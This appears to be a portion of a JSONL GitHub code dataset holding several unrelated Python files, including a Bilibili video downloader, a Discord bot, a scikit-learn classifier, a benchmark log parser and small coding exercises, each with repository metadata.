user_headers[\"Referer\"] = \"https://www.bilibili.com/video/BV1k24y1N7iu/?vd_source=d1510af6049ae3ed0ea10a6707f1ca06\"\n        res = http_utils.get('http://api.bilibili.com/x/player/playurl',\n                             param={\n                                 'avid': 784013416,\n                                 'cid': cid,\n                                 'bvid': bvid,\n                                 'qn': 127,\n                                 'otype': 'json',\n                                 'fnver': 0,\n                                 'fnval': 4048,\n                                 'fourk': 1,\n                                 'gaia_source': '',\n                                 'session': '2c2c6001d63d264212881628596e54d3',\n                                 'w_rid': '5079feced341071890a0fb066ef93e66',\n                                 'wts': 1685364777,\n                            }, header=user_headers)\n        if http_utils.is_error(res):\n            return Result.error(res)\n\n        data = json.loads(res.content)\n\n        try:\n            videos = [video['baseUrl'] for video in data['data']['dash']['video']]\n            audios = [audio['baseUrl'] for audio in data['data']['dash']['audio']]\n            url = {\n                videos: videos,\n                audios: audios,\n            }\n        except (KeyError, IndexError):\n            try:\n                url = data['data']['durl'][0]['url']\n            except (KeyError, IndexError):\n                return ErrorResult.VIDEO_ADDRESS_NOT_FOUNT\n\n        result = Result.success(url)\n        # result.videos = videos\n        # result.audios = audios\n        return result\n\n    @staticmethod\n    def download_header() -> dict:\n        return download_headers\n\n    @classmethod\n    def download(cls, url) -> HttpResponse:\n        return cls.proxy_download(vtype, url, download_headers, \".mp4\", mode=0)\n\n    @classmethod\n    def complex_download(cls, info: Info):\n        index = info.filename.split('.')[0]\n        video_url, audio_url = \"\", \"\"\n\n        qn = 0\n        for v in info.extra.videos:\n            if v['bandwidth'] <= qn:\n                continue\n            video_url = v['baseUrl']\n            qn = v['bandwidth']\n\n        qn = 0\n        for v in info.extra.audios:\n            if v['bandwidth'] <= qn:\n                continue\n            audio_url = v['baseUrl']\n            qn = v['bandwidth']\n\n        res = http_utils.get(url=video_url, header=download_headers)\n        if http_utils.is_error(res):\n            return HttpResponseServerError(str(res))\n        vfile = store.save(vtype, res, \"tmp_\" + index, \".mp4\")\n        res.close()\n\n        res = http_utils.get(url=audio_url, header=download_headers)\n        if http_utils.is_error(res):\n            return HttpResponseServerError(str(res))\n        afile = store.save(vtype, res, \"tmp_\" + index, \".aac\")\n        res.close()\n\n        output = make_path(vtype.value, info.filename)\n        tools.ffmpeg.concat(vfile, afile, output)\n\n        os.remove(vfile)\n        os.remove(afile)\n\n\nif __name__ == '__main__':\n    # BiliBiliService.fetch('https://www.bilibili.com/video/BV17s411P7oi?p=5&share_source=copy_web')\n    BiliBiliService.fetch('https://www.bilibili.com/video/BV1k24y1N7iu/')\n\n\n","repo_name":"achenglike/stealer","sub_path":"service/bilibili.py","file_name":"bilibili.py","file_ext":"py","file_size_in_byte":10437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"2574389375","text":"import pandas as pd\n\n\nfrom ml_system.features.inference import shift_data\n\n\ndef test_shift_data():\n    d = {'date': ['2020-05-17', '2020-05-18', '2020-05-19', '2020-05-20'],\n         'place': ['Abisko', 'Abisko', 'Abisko', 'Abisko'], 'streamflow': [1, 2, 3, 4], 'weather': [10, 11, 12, 14]}\n    df = pd.DataFrame(d)\n    df2 = shift_data(df)\n\n    assert 'date' not in df2.keys()\n    assert 'streamflow_next_day' in df2.keys()\n    assert df2.iloc[0]['streamflow_next_day'] == 0\n    assert df2.iloc[1]['streamflow_next_day'] == 4","repo_name":"xrisaD/RealTimeStreamFlowPrediction","sub_path":"ml_system/test_pipelines/test_pipelines.py","file_name":"test_pipelines.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71711756487","text":"from discord.ext.commands.core import command\nfrom discord.ext import commands\nfrom mybot import MyBot\nimport json\nfrom worm import get_curr, get_jjv\nimport re\nimport discord\nimport os \nimport util\nif __name__ == '__main__':\n\n\n\n\n    with open('config.json','r',encoding='utf8') as jfile:\n        jdata=json.load(jfile)\n    bot = MyBot(command_prefix=jdata[\"command_prefix\"])\n    # bot=commands.Bot(command_prefix=\"]\")\n\n    # @bot.command()\n    # async def ping(ctx):\n    #     await ctx.send(f\"{int(bot.latency*1000)}(ms)\")\n\n    # bot.load_extension(\"cmds.Basis\")\n    # bot.load_extension(\"cmds.Pic\")\n\n    cog_dir=jdata[\"cog_dir\"]\n    cogs=jdata[\"cogs\"]\n    for cog in cogs:\n        bot.load_extension(cog_dir+\".\"+cog)\n\n\n    @bot.listen('on_message')\n    async def incomming_message(message):\n        # don't respond to ourselves\n        if message.author == bot.user:\n            return\n        if message.author.name == \"kangkang\" and message.content == \"kirby\":\n             await message.channel.send(\"妈妈\")\n        if message.content == 'ping':\n            await message.channel.send('pong')\n        # if message.content == 'jjv':\n        #     await message.channel.send(\"景嘉微股价：\"+ get_jjv())\n        if message.content == '台币':\n            await message.channel.send(\"银联人民币对新台币汇率：\"+ get_curr('台币'))\n        if message.content == '日元':\n            await message.channel.send(\"银联人民币对日元汇率：\"+ get_curr('日元'))\n        if message.content == '孩子' or message.content =='haizi':\n            await message.channel.send('孩子')\n        if message.content == 'son':\n            await message.channel.send('son')\n        # if message.content.startswith(\".\"):\n        #     if message.content[1:] in bot.pic_names:\n        #         # print(os.path.join(bot.pic_dir,bot.pic_fullnames[bot.pic_names.index(message.content[1:])]))\n        #         f=os.path.join(bot.pic_dir,bot.pic_fullnames[bot.pic_names.index(message.content[1:])])\n        #         pic=discord.File(f)\n        #         await message.channel.send(file=pic)\n\n        if bool(re.search(\"poyo\",message.content,re.IGNORECASE)):\n            await message.channel.send(util.poyo())\n        \n        from util import r_pa\n        if bool(re.search(\"pa\",message.content,re.IGNORECASE)):\n            await r_pa(message)\n\n        print(f\"A message from : {message.author.name}#{message.author.discriminator} id : {message.author.id}\")\n        print(f\"Channel name: {message.channel.name}Channel ID: {message.channel.id}\" if hasattr(message.channel,'name') else \"Dirct Message\")\n        print(f\"Content : {message.content}\")\n        print(f\"Attachment type : {message.attachments[0].content_type}\\n\" if message.attachments else \"No Attachment\\n\")\n        # await message.attachments[0].save(\"./kirby.gif\")\n    \n    bot.run(jdata[\"token\"])\n    # game=discord.Game(\"卡比与gangxing的大冒险\")\n    # bot.change_presence(status=discord.Status.idle, activity=game)\n    \n    ","repo_name":"gangxing1996/Kirbot","sub_path":"kirbot.py","file_name":"kirbot.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"6599807401","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 21 17:32:22 2018\n\n@author: Aditya\n\"\"\"\n\nimport pandas as pd \n\nimport numpy as np \n\ndf = pd.read_csv ('../data/white-wine.csv')\n\nprint (df.info ())\n\ndf['new_quality']  = np.where(df['quality']>= 5, 0, 1)\n\ndf.drop ('quality', axis = 1, inplace = True )\n\ndf.rename (columns = {'new_quality': 'quality'}, inplace = True)\n\nprint (df.describe ())\n\nfrom sklearn.preprocessing import scale \n\ny = df ['quality'].values\n\nX = df.drop ('quality', axis = 1 ).values\n\nprint (np.mean (X))\n\nprint (np.std (X))\n\nX_scaled = scale (X)\n\nprint (np.mean (X_scaled))\n\nprint (np.std (X_scaled))\n\n\n\n# Import the necessary modules\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\n\n# Setup the pipeline steps: steps\nsteps = [('scaler', StandardScaler()),\n        ('knn', KNeighborsClassifier())]\n        \n# Create the pipeline: pipeline\npipeline = Pipeline (steps)\n\n# Create train and test sets\nX_train, X_test, y_train, y_test = train_test_split (X, y, random_state = 42, test_size = .3)\n\n# Fit the pipeline to the training set: knn_scaled\nknn_scaled = pipeline.fit (X_train, y_train)\n\n# Instantiate and fit a k-NN classifier to the unscaled data\nknn_unscaled = KNeighborsClassifier().fit(X_train, y_train)\n\n# Compute and print metrics\nprint('Accuracy with Scaling: {}'.format(knn_scaled.score(X_test, y_test)))\nprint('Accuracy without Scaling: {}'.format(knn_unscaled.score(X_test, y_test)))\n\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import GridSearchCV\n\n\n# Setup the pipeline\nsteps = [('scaler', StandardScaler()),\n         ('SVM', SVC())]\n\npipeline = Pipeline(steps)\n\n# Specify the hyperparameter space\nparameters = {'SVM__C':[1, 10, 100],\n              'SVM__gamma':[0.1, 0.01]}\n\n# Create train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=21)\n\n# Instantiate the GridSearchCV object: cv\ncv = GridSearchCV(pipeline, parameters)\n\n# Fit to the training set\ncv.fit(X_train, y_train)\n\n# Predict the labels of the test set: y_pred\ny_pred = cv.predict(X_test)\n\n# Compute and print metrics\nprint(\"Accuracy: {}\".format(cv.score(X_test, y_test)))\nprint(classification_report(y_test, y_pred))\nprint(\"Tuned Model Parameters: {}\".format(cv.best_params_))\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lodhaad/supervised-ml","sub_path":"supervised/classification/white_wine.py","file_name":"white_wine.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39452712841","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May  9 16:48:03 2022\r\n\r\n@author: ZeyuanCheng\r\n\"\"\"\r\n# quiz 6\r\na1_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\r\n\r\nprint(a1_list[1][1:])\r\n\r\nprint(a1_list[1][1])\r\n\r\nprint(a1_list[1:][1])\r\n\r\nprint(\"\\n\")\r\n\r\na_list = [-1,-3,-2]\r\nb_list = [5, 4, 6]\r\n\r\na_list.sort()\r\nprint(a_list)\r\n\r\n\r\na_list = [-1,-3,-2]\r\nb_list = [5, 4, 6]\r\n\r\na_list.extend(b_list[1:-1])\r\nprint(a_list)\r\n\r\n\r\na_list = [-1,-3,-2]\r\nb_list = [5, 4, 6]\r\n\r\na_list.pop(0)\r\nprint(a_list)\r\n\r\n\r\na_list = [-1,-3,-2]\r\nb_list = [5, 4, 6]\r\n\r\na_list.append(b_list[1:-1])\r\nprint(a_list)\r\n\r\n\r\na_list = [-1,-3,-2]\r\nb_list = [5, 4, 6]\r\n\r\na_list.insert(4, 1)\r\nprint(a_list)\r\n\r\n# a_list.remove(0)\r\n'''\r\nTraceback (most recent call last):\r\n\r\n  File \"E:\\ANU\\Y2_2022_s1\\COMP6730 Programming for Scientists\\lab7\\test_Q6.py\", line 23, in <module>\r\n    a_list.insert(4, 1), a_list.remove(0))\r\n\r\nValueError: list.remove(x): x not in list\r\n'''\r\n\r\n\r\ndef funA(alist):\r\n    if len(alist) == 0:\r\n        return alist\r\n    else:\r\n        return funA(alist[1:]) + [alist[0]]\r\n\r\ndef funB(alist):\r\n    if len(alist) > 0:\r\n        x = alist.pop(-1)\r\n        alist = funB(alist)\r\n        alist.insert(0,x)\r\n    return alist\r\n\r\na = [1,2,3]\r\nb = funB(a)\r\nc = funA(a)\r\n","repo_name":"zychengjerry/Programming-for-Scientists","sub_path":"lab7/test_Q7.py","file_name":"test_Q7.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70129685770","text":"# 1945. 간단한 소인수분해\n\nresults = list()\nfor t in range(1, int(input()) + 1):\n    number = int(input())\n    exponent = [0, 0, 0, 0, 0] # 순서대로 a, b, c, d, e\n    factors = [2, 3, 5, 7, 11]\n    for factor in factors:\n        while number % factor == 0:\n            number //= factor\n            exponent[factors.index(factor)] += 1 \n\n    results.append(exponent)\n\ncount = 1\nfor result in results:\n    print(f'#{count}', end=' ')\n    print(*result)\n    count += 1","repo_name":"kylekim2123/Algorithm-with-Python","sub_path":"SWEA/D2/[1945]간단한소인수분해.py","file_name":"[1945]간단한소인수분해.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25969370390","text":"'''\nCreated on 19 feb 2018\n\n@author: Serena Sensini; Enzo Cocca <enzo.ccc@gmail.com>\n'''\nfrom sqlalchemy import Table, Column, Integer, String, Text, MetaData, create_engine, UniqueConstraint\n\nfrom modules.db.pyarchinit_conn_strings import Connection\n\n\nclass Struttura_table:\n    # connection string postgres\"\n    internal_connection = Connection()\n\n    # create engine and metadata\n\n    engine = create_engine(internal_connection.conn_str(), echo=False, convert_unicode=True)\n    metadata = MetaData(engine)\n\n    # define tables\n    struttura_table = Table('struttura_table', metadata,\n                            Column('id_struttura', Integer, primary_key=True),\n                            Column('sito', Text),\n                            Column('sigla_struttura', Text),\n                            Column('numero_struttura', Integer),\n                            Column('categoria_struttura', Text),\n                            Column('tipologia_struttura', Text),\n                            Column('definizione_struttura', Text),\n                            Column('descrizione', Text),\n                            Column('interpretazione', Text),\n                            Column('periodo_iniziale', Integer),\n                            Column('fase_iniziale', Integer),\n                            Column('periodo_finale', Integer),\n                            Column('fase_finale', Integer),\n                            Column('datazione_estesa', String(300)),\n                            Column('materiali_impiegati', Text),\n                            Column('elementi_strutturali', Text),\n                            Column('rapporti_struttura', Text),\n                            Column('misure_struttura', Text),\n\n                            # explicit/composite unique constraint.  'name' is optional.\n                            UniqueConstraint('sito', 'sigla_struttura', 'numero_struttura', name='ID_struttura_unico')\n                            )\n\n    metadata.create_all(engine)\n","repo_name":"pyarchinit/pyarchinit","sub_path":"modules/db/structures/Struttura_table.py","file_name":"Struttura_table.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"it","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"41155520690","text":"#!/usr/bin/python\r\n# encoding: utf-8\r\n\"\"\"\r\n\r\n@author: xuk1\r\n@license: (C) Copyright 2013-2017\r\n@contact: kai.a.xu@intel.com\r\n@file: bb_parse.py\r\n@time: 8/28/2017 11:03\r\n@desc: \r\n\r\n\"\"\"\r\n\r\nimport os\r\nimport re\r\nimport sys\r\nfrom collections import OrderedDict\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\nclass BBParse:\r\n    \"\"\"\r\n    Parse TPCx-BB log from BigBenchTimes.csv\r\n    \"\"\"\r\n    phase_name = ['BENCHMARK', 'LOAD_TEST', 'POWER_TEST', 'THROUGHPUT_TEST_1',\r\n                  'VALIDATE_POWER_TEST', 'VALIDATE_THROUGHPUT_TEST_1']\r\n\r\n    def __init__(self, bb_log_path):\r\n        \"\"\"\r\n        Constructor for parse TPCx-BB log\r\n        :param bb_log_path: TPCx-BB log path, dir 'run-logs' is not included\r\n        \"\"\"\r\n        self.bb_log_path = bb_log_path\r\n        pass\r\n\r\n    def get_stamp_by_phase(self, phase, *stream_query_num):\r\n        \"\"\"\r\n        get start and end timestamp of each phase or each query from TPCx-BB logs\r\n        :param phase: phase names includes: ['BENCHMARK', 'LOAD_TEST', 'POWER_TEST', \r\n        'THROUGHPUT_TEST_1', 'VALIDATE_POWER_TEST', 'VALIDATE_THROUGHPUT_TEST_1']\r\n        :param stream_query_num: optional, maximum two inputs are allowed, \r\n        one is for the stream number the other is for the query number\r\n        :return: start and end timestamp\r\n        \"\"\"\r\n        if phase in self.phase_name:\r\n            csv_path = self.bb_log_path + os.sep + 'run-logs' + os.sep + 'BigBenchTimes.csv'\r\n            if not os.path.isfile(csv_path):\r\n                print('BigBenchTimes.csv does not exist in {0}, existing...'.format(self.bb_log_path))\r\n                exit(-1)\r\n            df = pd.read_csv(csv_path, delimiter=';').loc[:,\r\n                 ['benchmarkPhase', 'streamNumber', 'queryNumber', 'epochStartTimestamp', 'epochEndTimestamp']]\r\n            benchmark_phase = (df['benchmarkPhase'] == phase)\r\n            if not stream_query_num:  # if stream_query_num is none, this mean only phase\r\n                stream_num = (pd.isnull(df['streamNumber']))\r\n                query_num = (pd.isnull(df['queryNumber']))\r\n                mask = benchmark_phase & stream_num & query_num\r\n                line = df[mask]\r\n                phase_start = line['epochStartTimestamp'].values / 1000\r\n                phase_end = line['epochEndTimestamp'].values / 1000\r\n                return phase_start, phase_end\r\n            elif len(stream_query_num) == 1:  # stream num is assigned\r\n                if phase == 'BENCHMARK':\r\n                    print('BENCHMARK does not have stream number, you can only use (\"BENCHMARK\")')\r\n                if (phase == 'POWER_TEST') & (int(stream_query_num[0]) > 0):\r\n                    print('POWER_TEST does not have stream number greater than 0,' \\\r\n                          ' you can use either (\"POWER_TEST\") or (\"POWER_TEST\", 0))')\r\n                    exit(-1)\r\n                stream_num = ((df['streamNumber']) == int(stream_query_num[0]))\r\n                query_num = (pd.isnull(df['queryNumber']))\r\n                mask = benchmark_phase & stream_num & query_num\r\n                line = df[mask]\r\n                phase_start = line['epochStartTimestamp'].values / 1000\r\n                phase_end = line['epochEndTimestamp'].values / 1000\r\n                return phase_start, phase_end\r\n            elif len(stream_query_num) == 2:  # query num is assigned\r\n                if phase == 'BENCHMARK':\r\n                    print('BENCHMARK does not have stream number or query number, you can only use (\"BENCHMARK\")')\r\n                if (phase == 'POWER_TEST') & (int(stream_query_num[0]) > 0):\r\n                    print('POWER_TEST does not have stream number greater than 0,' \\\r\n                          ' you can use either (\"POWER_TEST\", \"0\", \"query_num\"))')\r\n                    exit(-1)\r\n                stream_num = ((df['streamNumber']) == int(stream_query_num[0]))\r\n                query_num = ((df['queryNumber']) == int(stream_query_num[1]))\r\n                mask = benchmark_phase & stream_num & query_num\r\n                line = df[mask]\r\n                phase_start = line['epochStartTimestamp'].values / 1000\r\n                phase_end = line['epochEndTimestamp'].values / 1000\r\n                return phase_start, phase_end\r\n            else:\r\n                print('maximum 3 inputs are allowed')\r\n                exit(-1)\r\n        else:\r\n            print('phase name must be assigned! phase name only includes: {0}'.format(self.phase_name))\r\n            exit(-1)\r\n\r\n    def get_exist_phase_timestamp(self):\r\n        \"\"\"\r\n        Parse TPCx-BB each phase's timestamps from TPCx-BB log file BigBenchTimes.csv. \r\n        For POWER_TEST each query will included, for THROUGHPUT_TEST_1, each stream will included\r\n        :return: dict that contains start and end timestamps of each phase\r\n        \"\"\"\r\n        csv_path = self.bb_log_path + os.sep + 'run-logs' + os.sep + 'BigBenchTimes.csv'\r\n        if not os.path.isfile(csv_path):\r\n            print('BigBenchTimes.csv does not exist in {0}, existing...'.format(self.bb_log_path))\r\n            exit(-1)\r\n        converter = {'benchmarkPhase': str, 'streamNumber': int, 'queryNumber': int,\r\n                     'epochStartTimestamp': 'int64', 'epochEndTimestamp': 'int64'}\r\n        df = pd.read_csv(csv_path, delimiter=';').loc[:,\r\n             ['benchmarkPhase', 'streamNumber', 'queryNumber', 'epochStartTimestamp', 'epochEndTimestamp']]\r\n        phase_ts = OrderedDict()\r\n        is_exist = False\r\n        for phase in self.phase_name:\r\n            benchmark_phase = (df['benchmarkPhase'] == phase)\r\n            if any(benchmark_phase):  # whether this phase exist in the BB logs\r\n                if phase == 'POWER_TEST':  # power test overall and each query\r\n                    stream_num = ((df['streamNumber']) == 0)\r\n                    mask = benchmark_phase & stream_num\r\n                    phase_ts[phase] = df[mask].reset_index(drop=True)\r\n                    phase_ts[phase].iloc[0, 2] = 0  # fill 0 to blank value\r\n                elif phase == 'THROUGHPUT_TEST_1':  # throughput test overall and each stream\r\n                    query_num = (pd.isnull(df['queryNumber']))\r\n                    mask = benchmark_phase & query_num\r\n                    phase_ts[phase] = df[mask].reset_index(drop=True)\r\n                    phase_ts[phase].iloc[0, 1:3] = -1  # file -1 to overall throughput test\r\n                    phase_ts[phase].iloc[1:, 2] = 0  # fill 0 to blank value\r\n                else:  # other phases\r\n                    stream_num = (pd.isnull(df['streamNumber']))\r\n                    query_num = (pd.isnull(df['queryNumber']))\r\n                    mask = benchmark_phase & stream_num & query_num\r\n                    # phase_start = line['epochStartTimestamp'].values / 1000\r\n                    # phase_end = line['epochEndTimestamp'].values / 1000\r\n                    phase_ts[phase] = df[mask].reset_index(drop=True)\r\n                    phase_ts[phase].iloc[0, 1:3] = 0  # fill 0 to blank value\r\n                phase_ts[phase] = phase_ts[phase].astype(converter)\r\n                is_exist = True\r\n        if is_exist:\r\n            return phase_ts\r\n        else:\r\n            print('It seems BigBenchTimes.csv in {0} does not include any TPCx-BB phases, ' \\\r\n                  'existing...'.format(self.bb_log_path))\r\n            exit(-1)\r\n\r\n    def get_elapsed_time(self):\r\n        \"\"\"\r\n        Get TPCx-BB elapsed time of each query in all the phases from BigBenchTimes.csv file\r\n        :return: Results will be saved in $bb_log_path/bb_results.log\r\n        \"\"\"\r\n        self.get_bb_result()\r\n        csv_path = self.bb_log_path + os.sep + 'run-logs' + os.sep + 'BigBenchTimes.csv'\r\n        if not os.path.isfile(csv_path):\r\n            print('BigBenchTimes.csv does not exist in {0}, existing...'.format(self.bb_log_path))\r\n            exit(-1)\r\n        df = pd.read_csv(csv_path, delimiter=';').loc[:,\r\n             ['benchmarkPhase', 'streamNumber', 'queryNumber', 'durationInSeconds']]\r\n        elapsed_time = pd.DataFrame()\r\n        is_exist = False\r\n        for phase in ['POWER_TEST', 'THROUGHPUT_TEST_1']:\r\n            benchmark_phase = (df['benchmarkPhase'] == phase)\r\n            if any(benchmark_phase):  # whether this phase exist in the BB logs\r\n                if phase == 'POWER_TEST':  # power test overall and each query\r\n                    stream_num = ((df['streamNumber']) == 0)\r\n                    query_num = (pd.notnull(df['queryNumber']))\r\n                    mask = benchmark_phase & stream_num & query_num\r\n                    seconds = df[mask]['durationInSeconds'].values\r\n                    elapsed_time.insert(0, phase, seconds)\r\n                    elapsed_time.index = df[mask]['queryNumber'].astype('int64')\r\n                elif phase == 'THROUGHPUT_TEST_1':\r\n                    streams = int(np.max(df['streamNumber']))\r\n                    for stream in range(streams + 1):\r\n                        stream_num = ((df['streamNumber']) == stream)\r\n                        query_num = (pd.notnull(df['queryNumber']))\r\n                        mask = benchmark_phase & stream_num & query_num\r\n                        seconds = df[mask]['durationInSeconds'].values\r\n                        elapsed_time.insert(stream + 1, 'stream{0}'.format(stream), seconds)\r\n                        elapsed_time.index = df[mask]['queryNumber'].astype('int64')\r\n                is_exist = True\r\n        if is_exist:\r\n            print('*' * 100)\r\n            print('Elapsed time of each query:\\n {0} \\n'.format(elapsed_time.to_string()))\r\n\r\n            result_path = self.bb_log_path + os.sep + 'bb_results.log'\r\n            with open(result_path, 'a') as f:\r\n                f.write('*' * 100 + '\\n')\r\n                f.write('Elapsed time of each query:\\n {0} \\n'.format(elapsed_time.to_string()))\r\n        else:\r\n            print('It seems BigBenchTimes.csv in {0} does not include TPCx-BB phases:POWER_TEST, THROUGHPUT_TEST_1' \\\r\n                  'existing...'.format(self.bb_log_path))\r\n            exit(-1)\r\n\r\n    def get_bb_result(self):\r\n        \"\"\"\r\n        Parse TPCx-BB score from BigBenchResult.log file\r\n        :return: Results will be saved in $bb_log_path/bb_results.log\r\n        \"\"\"\r\n        log_path = self.bb_log_path + os.sep + 'run-logs' + os.sep + 'BigBenchResult.log'\r\n        if not os.path.isfile(log_path):\r\n            print('BigBenchResult.log does not exist in {0}, existing...'.format(self.bb_log_path))\r\n            exit(-1)\r\n        result = OrderedDict()\r\n        with open(log_path, 'r') as f:\r\n            for line in f:\r\n                if re.match('(.*)T_LOAD = (.*)', line):\r\n                    T_LOAD = line.split('=')[1].strip()\r\n                    result['T_LOAD'] = float(T_LOAD)\r\n                if re.match('(.*)T_LD = (.*)', line):\r\n                    T_LD = line.split(':')[2].strip()\r\n                    result['T_LD'] = float(T_LD)\r\n                if re.match('(.*)T_PT = (.*)', line):\r\n                    T_PT = line.split('=')[1].strip()\r\n                    result['T_PT'] = float(T_PT)\r\n                if re.match('(.*)T_T_PUT = (.*)', line):\r\n                    T_T_PUT = line.split('=')[1].strip()\r\n                    result['T_T_PUT'] = float(T_T_PUT)\r\n                if re.match('(.*)T_TT = (.*)', line):\r\n                    T_TT = line.split('=')[1].strip()\r\n                    result['T_TT'] = float(T_TT)\r\n                if re.match('(.*)VALID BBQpm@(.*)', line):\r\n                    key = line.split('=')[0].split(' ')[2].strip()\r\n                    value = line.split('=')[1].strip()\r\n                    result[key] = float(value)\r\n        result_path = self.bb_log_path + os.sep + 'bb_results.log'\r\n        print('*' * 100)\r\n        print('TPCx-BB results:')\r\n        with open(result_path, 'w') as f:\r\n            f.write('*' * 100 + '\\n')\r\n            f.write('TPCx-BB results: \\n')\r\n            for key, value in result.items():\r\n                print('{0}: {1}'.format(key, value))\r\n                f.write(key + ': ' + str(value) + '\\n')\r\n            f.write('\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n    arg_len = len(sys.argv)\r\n    if arg_len == 2:\r\n        log_path = sys.argv[1]\r\n        if os.path.exists(log_path):\r\n            bb_parse = BBParse(log_path)\r\n            print('Parsing TPCx-BB log files...\\n')\r\n            bb_parse.get_elapsed_time()\r\n            phase_ts = bb_parse.get_exist_phase_timestamp()\r\n            import processing\r\n\r\n            processing.print_bb_result(phase_ts)\r\n            result_path = log_path + os.sep + 'bb_results.log'\r\n            processing.save_bb_result(phase_ts, result_path)\r\n        else:\r\n            print(\"TPCx-BB log dir: {0} does not exist, existing...\".format(log_path))\r\n            exit(-1)\r\n    else:\r\n        print(\"Usage: python bb_parse.py $BB_Log_path\")\r\n        exit(-1)\r\n","repo_name":"kaiseu/pat-data-processing","sub_path":"bb_parse.py","file_name":"bb_parse.py","file_ext":"py","file_size_in_byte":12836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15092941900","text":"from django.contrib import admin\nfrom django.urls import path\nfrom App1 import views\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('',views.home,name=\"home\"),\n    path('add/<int:id>',views.addqn,name='addq'),\n    path('delete/<int:id>',views.delete_record,name='pdel'),\n    path('create/product',views.create_product,name=\"cp\"),\n    path('sale/<int:id>',views.product_sale,name=\"psale\"),\n    path('salelist',views.sale_list,name=\"lsale\"),\n    path('edit/product/<int:id>',views.edit_product,name=\"ep\")\n]\n","repo_name":"nafizimtiyaz/My-inventory","sub_path":"Operations/Operations/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14562097114","text":"class test:\n    def __init__(self, ai):\n        self.ai = ai\n\n    def start_test(self):\n        next = True\n        while next:\n            x = list(map(int, input('x = ').split()))\n            y = self.ai.activate(x)\n            y_real = int(input('y = '))\n            self.ai.study(x, y, y_real)\n            then_end = int(input('Завершить тест? (Да - 1 / Нет - 2)\\n'))\n            if then_end == 1:\n                next = False","repo_name":"Leksiy/tic-tac-toe_AI","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20491868652","text":"#! /usr/bin/env python3\n\nimport pandas as pd\nimport sys\n\ninputFile = sys.argv[1] #input file pindel_SI.vcf from pindel\noutputFile =sys.argv[2]\n\nwith open(inputFile) as f:\n    for line in f:\n        if line.startswith('#CHROM'):\n            columns = line.strip().split('\\t')\n            columns[0] = 'CHROM'  # Change the column name from '#CHROM' to 'CHROM'\n            break\n\ndata = pd.read_csv(inputFile, sep='\\t', comment='#', skiprows=45, names=columns)\nextractedData = data[['CHROM', 'POS', 'REF', 'ALT']]\n\nextractedData.to_csv(outputFile, sep='\\t', header=True, index=False)\n","repo_name":"patkarlab/WholeGenomePipeline","sub_path":"scripts/extract_pindelSI.py","file_name":"extract_pindelSI.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9101230433","text":"#!/bin/python2\n\n'''\nRelevant commands:\n\npython2 gen_audi.py -a binary.aif -d 7\npython2 parse_audi.py -a binary.aif -d binary.dot\ndot -Tps binary.dot -o binary.ps\nepstopdf binary.ps\n'''\n\nimport sys\nimport argparse\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# [y]arg[hhhhhhhh]\nap = argparse.ArgumentParser()\nap.add_argument(\"-a\", \"--audi\", required = True, help = \"Name of the .aif file\")\nap.add_argument(\"-d\", \"--dot\", required = True, help = \"Name of the .dot file\")\nargs = vars(ap.parse_args())\n\n# the necessary data structures\nline = []\ninputs = []\noutputs = []\nregs = []\nops = []\ngo = True\nG = nx.DiGraph()\n\n# parsing file\naudi      = open(args[\"audi\"], 'r')\ninputs    = audi.readline().strip().split(' ')[1:]\noutputs   = audi.readline().strip().split(' ')[1:]\nregs      = audi.readline().strip().split(' ')[1:]\nbit_width = int(inputs[1])                                 # assumming a globally uniform bit width\ninputs    = filter(lambda a: a != str(bit_width), inputs)  # will cause problems if bit width\noutputs   = filter(lambda a: a != str(bit_width), outputs) # shares the same value as an op_input,\nregs      = filter(lambda a: a != str(bit_width), regs)    # op_output, or register name\n\nwhile go:\n\tline = audi.readline().strip().split(' ')\n\tif len(line) > 2:\n\t\tline = filter(lambda a: a != str(bit_width), line)\n\t\tline[0] = line[0][2:]\n\t\tops.append(line)\n\t\t# print line\n\tgo = len(line) > 2\n\n# generating the sequencing graph (not locked to time steps)\nfor a in inputs:\n\tG.add_node(a)   # (('in',a))\nfor b in outputs:\n\tG.add_node(b)   # (('out',b))\nfor c in regs:\n\tG.add_node(c)   # (('reg',c))\nfor d in ops:\n\tG.add_node(d[0])   # (('op',d[0]))\n\nfor a in ops:\n\tG.add_edge(a[2], a[0])\n\tG.add_edge(a[3], a[0])\n\tG.add_edge(a[0], 